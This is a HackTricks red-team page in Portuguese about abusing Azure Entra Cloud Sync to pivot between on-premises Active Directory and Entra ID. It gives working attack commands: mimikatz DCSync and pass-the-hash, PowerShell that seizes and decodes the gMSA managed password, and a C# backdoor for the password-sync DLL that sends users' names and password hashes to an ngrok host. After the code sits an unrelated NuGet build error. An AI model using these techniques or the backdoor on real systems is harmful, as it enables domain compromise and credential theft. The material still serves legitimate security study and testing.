Az - Cloud Sync

Reading time: 9 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações Básicas

Cloud Sync é basicamente a nova maneira do Azure de sincronizar os usuários do AD no Entra ID.

Da documentação: O Microsoft Entra Cloud Sync é uma nova oferta da Microsoft projetada para atender e alcançar seus objetivos de identidade híbrida para sincronização de usuários, grupos e contatos no Microsoft Entra ID. Isso é realizado usando o agente de provisionamento em nuvem do Microsoft Entra em vez do aplicativo Microsoft Entra Connect. No entanto, pode ser usado juntamente com o Microsoft Entra Connect Sync.

Principais Criados

Para que isso funcione, alguns principais são criados tanto no Entra ID quanto no diretório On-Premise:

  • No Entra ID, o usuário On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) é criado com a função Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

warning

Esta função costumava ter muitas permissões privilegiadas e poderia ser usada para escalar privilégios até administrador global. No entanto, a Microsoft decidiu remover todos os privilégios dessa função e atribuí-la apenas a uma nova microsoft.directory/onPremisesSynchronization/standard/read que não permite realmente realizar nenhuma ação privilegiada (como modificar a senha ou atributos de um usuário ou adicionar uma nova credencial a um SP).

  • No Entra ID, também é criado o grupo AAD DC Administrators sem membros ou proprietários. Este grupo é útil se Microsoft Entra Domain Services for utilizado.

  • No AD, ou a Conta de Serviço provAgentgMSA é criada com um SamAccountName como pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), ou uma personalizada com essas permissões são necessárias. Normalmente, a padrão é criada.

warning

Entre outras permissões, a Conta de Serviço provAgentgMSA possui permissões DCSync, permitindo que qualquer um que a comprometa comprometa todo o diretório. Para mais informações sobre DCSync, confira isso.

note

Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo adminCount para 1 não são sincronizados com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que são atribuídos a altos privilégios podem ser sincronizados.

Sincronização de Senhas

A seção é muito semelhante à de:

Az - Connect Sync

  • A sincronização de hash de senha pode ser habilitada para que os usuários possam fazer login no Entra ID usando suas senhas do AD. Além disso, sempre que uma senha for modificada no AD, ela será atualizada no Entra ID.
  • A gravação de senha também pode ser habilitada, permitindo que os usuários modifiquem sua senha no Entra ID sincronizando automaticamente sua senha no domínio on-premise. Mas de acordo com a documentação atual, para isso é necessário usar o Connect Agent, então dê uma olhada na seção Az Connect Sync para mais informações.
  • Grupos de gravação: Este recurso permite que as associações de grupos do Entra ID sejam sincronizadas de volta para o AD on-premises. Isso significa que se um usuário for adicionado a um grupo no Entra ID, ele também será adicionado ao grupo correspondente no AD.

Pivoting

AD --> Entra ID

  • Se os usuários do AD estão sendo sincronizados do AD para o Entra ID, o pivoting do AD para o Entra ID é direto, basta comprometer a senha de algum usuário ou alterar a senha de algum usuário ou criar um novo usuário e esperar até que seja sincronizado no diretório Entra ID (geralmente apenas alguns minutos).

Então você poderia, por exemplo:

  • Comprometer a conta provAgentgMSA, realizar um ataque DCSync, quebrar a senha de algum usuário e então usá-la para fazer login no Entra ID.
  • Apenas criar um novo usuário no AD, esperar até que seja sincronizado no Entra ID e então usá-lo para fazer login no Entra ID.
  • Modificar a senha de algum usuário no AD, esperar até que seja sincronizado no Entra ID e então usá-la para fazer login no Entra ID.

Para comprometer as credenciais de provAgentgMSA:

powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Agora você poderia usar o hash do gMSA para realizar um ataque Pass-the-Hash contra o Entra ID usando a conta provAgentgMSA e manter a persistência, podendo realizar ataques DCSync contra o AD.

Para mais informações sobre como comprometer um Active Directory, consulte:

Active Directory Methodology - HackTricks

note

Note que não há como atribuir funções do Azure ou EntraID a usuários sincronizados com base em seus atributos, por exemplo, nas configurações de Cloud Sync. No entanto, para conceder permissões automaticamente a usuários sincronizados, alguns grupos do Entra ID do AD podem receber permissões, de modo que os usuários sincronizados dentro desses grupos também as recebam, ou grupos dinâmicos podem ser usados, então sempre verifique as regras dinâmicas e possíveis maneiras de abusar delas:

Az - Dynamic Groups Privesc

Quanto à persistência, este post de blog sugere que é possível usar dnSpy para backdoor a dll Microsoft.Online.Passwordsynchronisation.dll localizada em C:\Program Files\Microsoft Azure AD Sync\Bin que é usada pelo agente de Cloud Sync para realizar a sincronização de senhas, fazendo com que exfiltre os hashes de senha dos usuários que estão sendo sincronizados para um servidor remoto. Os hashes são gerados dentro da classe PasswordHashGenerator e o post do blog sugere adicionar algum código para que a classe fique assim (note o use System.Net e o uso de WebClient para exfiltrar os hashes de senha):

csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.

Entra ID --> AD

  • Se Password Writeback estiver habilitado, você pode modificar a senha de alguns usuários do Entra ID e, se tiver acesso à rede AD, conectar-se usando essas credenciais. Para mais informações, consulte a seção Az Connect Sync, pois o Password Writeback é configurado usando esse agente.

  • Neste momento, o Cloud Sync também permite "Microsoft Entra ID to AD", mas após muito tempo, descobri que ele NÃO PODE sincronizar usuários do EntraID para AD e que só pode sincronizar usuários do EntraID que foram sincronizados com o hash da senha e vêm de um domínio que pertence à mesma floresta de domínio que o domínio para o qual estamos sincronizando, como você pode ler em https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • Esses grupos podem conter apenas usuários sincronizados on-premises e / ou grupos de segurança criados na nuvem adicionais.
  • As contas de usuário on-premises que são sincronizadas e são membros deste grupo de segurança criado na nuvem podem ser do mesmo domínio ou de domínios diferentes, mas todos devem ser da mesma floresta.

Portanto, a superfície de ataque (e a utilidade) deste serviço é bastante reduzida, pois um atacante precisaria comprometer o AD inicial de onde os usuários estão sendo sincronizados para comprometer um usuário no outro domínio (e ambos devem estar na mesma floresta, aparentemente).

Enumeration

bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks